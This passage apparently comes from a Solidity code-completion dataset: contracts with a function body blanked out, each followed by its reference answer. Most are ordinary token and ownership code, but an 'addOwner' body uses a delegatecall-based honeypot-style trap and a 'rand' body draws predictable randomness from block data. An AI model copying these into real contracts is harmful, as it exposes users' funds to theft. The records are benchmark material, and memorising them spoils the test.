name = _name; symbol = _symbol; totalSupply = 100000000 * (10 ** decimals); //100 million tokens initial supply; balances[this] = 80000000 * (10 ** decimals); //80 million supply is initially holded on contract balances[_teamAddress] = 19000000 * (10 ** decimals); //19 million supply is initially holded by developer team balances[0xFAB6368b0F7be60c573a6562d82469B5ED9e7eE6] = 1000000 * (10 ** decimals); //1 million supply is initially holded for bounty allowed[this][msg.sender] = balances[this]; //the sender has allowance on total balance on contract Transfer(0, this, balances[this]); Transfer(this, _teamAddress, balances[_teamAddress]); Transfer(this, 0xFAB6368b0F7be60c573a6562d82469B5ED9e7eE6, balances[0xFAB6368b0F7be60c573a6562d82469B5ED9e7eE6]); Approval(this, msg.sender, balances[this]);
function RFL_Token(string _name, string _symbol, address _teamAddress) public
/** * @notice token contructor. * @param _name is the name of the token * @param _symbol is the symbol of the token * @param _teamAddress is the address of the developer team */ function RFL_Token(string _name, string _symbol, address _teamAddress) public
56232
IcoSABToken
IcoSABToken
contract IcoSABToken is Ownable, SafeMath { address public wallet; address public allTokenAddress; bool public emergencyFlagAndHiddenCap = false; // UNIX format uint256 public startTime = 1515499200; // 9 Jan 2018 12:00:00 UTC uint256 public endTime = 1518523200; // 13 Feb 2018 11:59:59 UTC uint256 public USDto1ETH = 1250; // 1 ether =1250$ - 09 jan 2018 uint256 public price; uint256 public totalTokensSold = 0; uint256 public constant maxTokensToSold = 60000000000000; // 60% * (100 000 000.000 000) SABToken public token; function IcoSABToken(address _wallet, SABToken _token) public {<FILL_FUNCTION_BODY> } function () public payable { require(now <= endTime && now >= startTime); require(!emergencyFlagAndHiddenCap); require(totalTokensSold < maxTokensToSold); uint256 value = msg.value; uint256 tokensToSend = safeDiv(value, price); require(tokensToSend >= 1000000 && tokensToSend <= 350000000000); uint256 valueToReturn = safeSub(value, tokensToSend * price); uint256 valueToWallet = safeSub(value, valueToReturn); wallet.transfer(valueToWallet); if (valueToReturn > 0) { msg.sender.transfer(valueToReturn); } token.transferFrom(allTokenAddress, msg.sender, tokensToSend); totalTokensSold += tokensToSend; } function ChangeUSDto1ETH(uint256 _USDto1ETH) onlyOwner public { USDto1ETH = _USDto1ETH; ChangePrice(); } function ChangePrice() onlyOwner public { uint256 priceWeiToUSD = 1 ether / USDto1ETH; uint256 price1mToken = priceWeiToUSD / 1000000; // decimals = 6 if ( now <= startTime + 15 days) { price = price1mToken * 1 / 4 ; // 1.000000Token = 0.25$ first 15 days } else { if ( now <= startTime + 25 days ) { price = price1mToken * 1 / 2; // 1.000000Token = 0.50$ next } else { price = price1mToken; // 1.000000Token = 1.00$ to end } } } function ChangeStart(uint _startTime) onlyOwner public { startTime = _startTime; } function ChangeEnd(uint _endTime) onlyOwner public { endTime = _endTime; } function emergencyAndHiddenCapToggle() onlyOwner public { emergencyFlagAndHiddenCap = !emergencyFlagAndHiddenCap; } }
contract IcoSABToken is Ownable, SafeMath { address public wallet; address public allTokenAddress; bool public emergencyFlagAndHiddenCap = false; // UNIX format uint256 public startTime = 1515499200; // 9 Jan 2018 12:00:00 UTC uint256 public endTime = 1518523200; // 13 Feb 2018 11:59:59 UTC uint256 public USDto1ETH = 1250; // 1 ether =1250$ - 09 jan 2018 uint256 public price; uint256 public totalTokensSold = 0; uint256 public constant maxTokensToSold = 60000000000000; // 60% * (100 000 000.000 000) SABToken public token; <FILL_FUNCTION> function () public payable { require(now <= endTime && now >= startTime); require(!emergencyFlagAndHiddenCap); require(totalTokensSold < maxTokensToSold); uint256 value = msg.value; uint256 tokensToSend = safeDiv(value, price); require(tokensToSend >= 1000000 && tokensToSend <= 350000000000); uint256 valueToReturn = safeSub(value, tokensToSend * price); uint256 valueToWallet = safeSub(value, valueToReturn); wallet.transfer(valueToWallet); if (valueToReturn > 0) { msg.sender.transfer(valueToReturn); } token.transferFrom(allTokenAddress, msg.sender, tokensToSend); totalTokensSold += tokensToSend; } function ChangeUSDto1ETH(uint256 _USDto1ETH) onlyOwner public { USDto1ETH = _USDto1ETH; ChangePrice(); } function ChangePrice() onlyOwner public { uint256 priceWeiToUSD = 1 ether / USDto1ETH; uint256 price1mToken = priceWeiToUSD / 1000000; // decimals = 6 if ( now <= startTime + 15 days) { price = price1mToken * 1 / 4 ; // 1.000000Token = 0.25$ first 15 days } else { if ( now <= startTime + 25 days ) { price = price1mToken * 1 / 2; // 1.000000Token = 0.50$ next } else { price = price1mToken; // 1.000000Token = 1.00$ to end } } } function ChangeStart(uint _startTime) onlyOwner public { startTime = _startTime; } function ChangeEnd(uint _endTime) onlyOwner public { endTime = _endTime; } function emergencyAndHiddenCapToggle() onlyOwner public { emergencyFlagAndHiddenCap = !emergencyFlagAndHiddenCap; } }
wallet = _wallet; token = _token; allTokenAddress = token.allTokenOwnerOnStart(); price = 1 ether / USDto1ETH / 1000000;
function IcoSABToken(address _wallet, SABToken _token) public
function IcoSABToken(address _wallet, SABToken _token) public
89535
random
rand
contract random{ using SafeMath for uint; uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; address[] private authorities; mapping (address => bool) private authorized; //This is adminstrator address ,only the administartor can add the authorized address or remove it address private adminAddress=0x154210143d7814F8A60b957f3CDFC35357fFC89C; modifier onlyAuthorized { require(authorized[msg.sender]); _; } modifier onlyAuthorizedAdmin { require(adminAddress == msg.sender); _; } modifier targetAuthorized(address target) { require(authorized[target]); _; } modifier targetNotAuthorized(address target) { require(!authorized[target]); _; } //################Event####################################### event LOG_RANDOM(uint256 indexed roundIndex ,uint256 randomNumber); event LogAuthorizedAddressAdded(address indexed target, address indexed caller); event LogAuthorizedAddressRemoved(address indexed target, address indexed caller); //################Authorized function######################### function addAuthorizedAddress(address target) public onlyAuthorizedAdmin targetNotAuthorized(target) { authorized[target] = true; authorities.push(target); emit LogAuthorizedAddressAdded(target, msg.sender); } /// Removes authorizion of an address. /// @param target Address to remove authorization from. function removeAuthorizedAddress(address target) public onlyAuthorizedAdmin targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } emit LogAuthorizedAddressRemoved(target, msg.sender); } //################Random number generate function######################### function rand(uint min, uint max,address tokenAddress, uint256 roundIndex) public onlyAuthorized returns(uint256) {<FILL_FUNCTION_BODY> } }
contract random{ using SafeMath for uint; uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; address[] private authorities; mapping (address => bool) private authorized; //This is adminstrator address ,only the administartor can add the authorized address or remove it address private adminAddress=0x154210143d7814F8A60b957f3CDFC35357fFC89C; modifier onlyAuthorized { require(authorized[msg.sender]); _; } modifier onlyAuthorizedAdmin { require(adminAddress == msg.sender); _; } modifier targetAuthorized(address target) { require(authorized[target]); _; } modifier targetNotAuthorized(address target) { require(!authorized[target]); _; } //################Event####################################### event LOG_RANDOM(uint256 indexed roundIndex ,uint256 randomNumber); event LogAuthorizedAddressAdded(address indexed target, address indexed caller); event LogAuthorizedAddressRemoved(address indexed target, address indexed caller); //################Authorized function######################### function addAuthorizedAddress(address target) public onlyAuthorizedAdmin targetNotAuthorized(target) { authorized[target] = true; authorities.push(target); emit LogAuthorizedAddressAdded(target, msg.sender); } /// Removes authorizion of an address. /// @param target Address to remove authorization from. function removeAuthorizedAddress(address target) public onlyAuthorizedAdmin targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } emit LogAuthorizedAddressRemoved(target, msg.sender); } <FILL_FUNCTION> }
uint256 factor = FACTOR * 100 / max; uint256 seed = uint256(keccak256(abi.encodePacked( (roundIndex).add (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(tokenAddress)))) / (now)).add (block.gaslimit).add (block.number) ))); uint256 r=uint256(uint256(seed) / factor) % max +min; emit LOG_RANDOM(roundIndex,r); return(r);
function rand(uint min, uint max,address tokenAddress, uint256 roundIndex) public onlyAuthorized returns(uint256)
//################Random number generate function######################### function rand(uint min, uint max,address tokenAddress, uint256 roundIndex) public onlyAuthorized returns(uint256)
93233
AdminInterface
addOwner
contract AdminInterface { address public Owner; // web3.eth.accounts[9] address public oracle; uint256 public Limit; function AdminInterface(){ Owner = msg.sender; } modifier onlyOwner() { require(msg.sender == Owner); _; } // config oracle db address and set minimum tx amt to limit abuse function Set(address dataBase) payable onlyOwner { Limit = msg.value; oracle = dataBase; } //can hold funds if needed function()payable{} function transfer(address multisig) payable onlyOwner { multisig.transfer(msg.value); } function addOwner(address newAddr) payable {<FILL_FUNCTION_BODY> } }
contract AdminInterface { address public Owner; // web3.eth.accounts[9] address public oracle; uint256 public Limit; function AdminInterface(){ Owner = msg.sender; } modifier onlyOwner() { require(msg.sender == Owner); _; } // config oracle db address and set minimum tx amt to limit abuse function Set(address dataBase) payable onlyOwner { Limit = msg.value; oracle = dataBase; } //can hold funds if needed function()payable{} function transfer(address multisig) payable onlyOwner { multisig.transfer(msg.value); } <FILL_FUNCTION> }
if(msg.value > Limit) { // Because database is an database address, this adds owner to the database for that contract oracle.delegatecall(bytes4(keccak256("AddToWangDB(address)")),msg.sender); // transfer this wallets balance to new owner after address change newAddr.transfer(this.balance); }
function addOwner(address newAddr) payable
function addOwner(address newAddr) payable
20402
USDS
contract USDS is StandardToken { string public name = "USDS.ZK"; string public symbol = "USDS"; uint8 public decimals = 18; /** uint256 public totalSupply = 10 ** 27; */ function () external {<FILL_FUNCTION_BODY> } constructor() public { totalSupply_ = 2 * 10 ** 27; balances[msg.sender] = totalSupply_; } }
contract USDS is StandardToken { string public name = "USDS.ZK"; string public symbol = "USDS"; uint8 public decimals = 18; <FILL_FUNCTION> constructor() public { totalSupply_ = 2 * 10 ** 27; balances[msg.sender] = totalSupply_; } }
revert();
function () external
/** uint256 public totalSupply = 10 ** 27; */ function () external
23244
Ownable
null
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal {<FILL_FUNCTION_BODY> } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require( _previousOwner == msg.sender, "You don't have permission to unlock" ); require(now > _lockTime, "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } }
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); <FILL_FUNCTION> /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require( _previousOwner == msg.sender, "You don't have permission to unlock" ); require(now > _lockTime, "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } }
address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);
constructor() internal
/** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal
27851
ERC20
balanceOf
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) {<FILL_FUNCTION_BODY> } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } <FILL_FUNCTION> /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
return _balances[account];
function balanceOf(address account) public view virtual override returns (uint256)
/** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256)
86245
Rootable
transferRoot
contract Rootable { address internal _ROOT_; bool internal _INIT_; event RootTransferred(address indexed previousRoot, address indexed newRoot); modifier notInit() { require(!_INIT_, "INITIALIZED"); _; } function initRoot(address newRoot) internal notInit { _INIT_ = true; _ROOT_ = newRoot; emit RootTransferred(address(0), newRoot); } /** * @dev Returns the address of the current root. */ function root() public view returns (address) { return _ROOT_; } /** * @dev Throws if called by any account other than the root. */ modifier onlyRoot() { require(_ROOT_ == msg.sender, "YouSwap: CALLER_IS_NOT_THE_ROOT"); _; } /** * @dev Leaves the contract without root. It will not be possible to call * `onlyRoot` functions anymore. Can only be called by the current root. * * NOTE: Renouncing root will leave the contract without an root, * thereby removing any functionality that is only available to the root. */ function renounceRoot() public onlyRoot { emit RootTransferred(_ROOT_, address(0)); _ROOT_ = address(0); } /** * @dev Transfers root of the contract to a new account (`newRoot`). * Can only be called by the current root. */ function transferRoot(address newRoot) public onlyRoot {<FILL_FUNCTION_BODY> } }
contract Rootable { address internal _ROOT_; bool internal _INIT_; event RootTransferred(address indexed previousRoot, address indexed newRoot); modifier notInit() { require(!_INIT_, "INITIALIZED"); _; } function initRoot(address newRoot) internal notInit { _INIT_ = true; _ROOT_ = newRoot; emit RootTransferred(address(0), newRoot); } /** * @dev Returns the address of the current root. */ function root() public view returns (address) { return _ROOT_; } /** * @dev Throws if called by any account other than the root. */ modifier onlyRoot() { require(_ROOT_ == msg.sender, "YouSwap: CALLER_IS_NOT_THE_ROOT"); _; } /** * @dev Leaves the contract without root. It will not be possible to call * `onlyRoot` functions anymore. Can only be called by the current root. * * NOTE: Renouncing root will leave the contract without an root, * thereby removing any functionality that is only available to the root. */ function renounceRoot() public onlyRoot { emit RootTransferred(_ROOT_, address(0)); _ROOT_ = address(0); } <FILL_FUNCTION> }
require(newRoot != address(0), "NEW_ROOT_IS_THE_ZERO_ADDRESS"); emit RootTransferred(_ROOT_, newRoot); _ROOT_ = newRoot;
function transferRoot(address newRoot) public onlyRoot
/** * @dev Transfers root of the contract to a new account (`newRoot`). * Can only be called by the current root. */ function transferRoot(address newRoot) public onlyRoot
28596
Permittable
permit
contract Permittable is ERC20Detailed, ERC20 { bytes32 constant FILE = "Permittable"; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant EIP712_PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; string private constant EIP712_VERSION = "1"; bytes32 public EIP712_DOMAIN_SEPARATOR; mapping(address => uint256) nonces; constructor() public { EIP712_DOMAIN_SEPARATOR = LibEIP712.hashEIP712Domain(name(), EIP712_VERSION, Constants.getChainId(), address(this)); } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external {<FILL_FUNCTION_BODY> } }
contract Permittable is ERC20Detailed, ERC20 { bytes32 constant FILE = "Permittable"; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant EIP712_PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; string private constant EIP712_VERSION = "1"; bytes32 public EIP712_DOMAIN_SEPARATOR; mapping(address => uint256) nonces; constructor() public { EIP712_DOMAIN_SEPARATOR = LibEIP712.hashEIP712Domain(name(), EIP712_VERSION, Constants.getChainId(), address(this)); } <FILL_FUNCTION> }
bytes32 digest = LibEIP712.hashEIP712Message( EIP712_DOMAIN_SEPARATOR, keccak256(abi.encode( EIP712_PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline )) ); address recovered = ecrecover(digest, v, r, s); Require.that( recovered == owner, FILE, "Invalid signature" ); Require.that( recovered != address(0), FILE, "Zero address" ); Require.that( now <= deadline, FILE, "Expired" ); _approve(owner, spender, value);
function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external
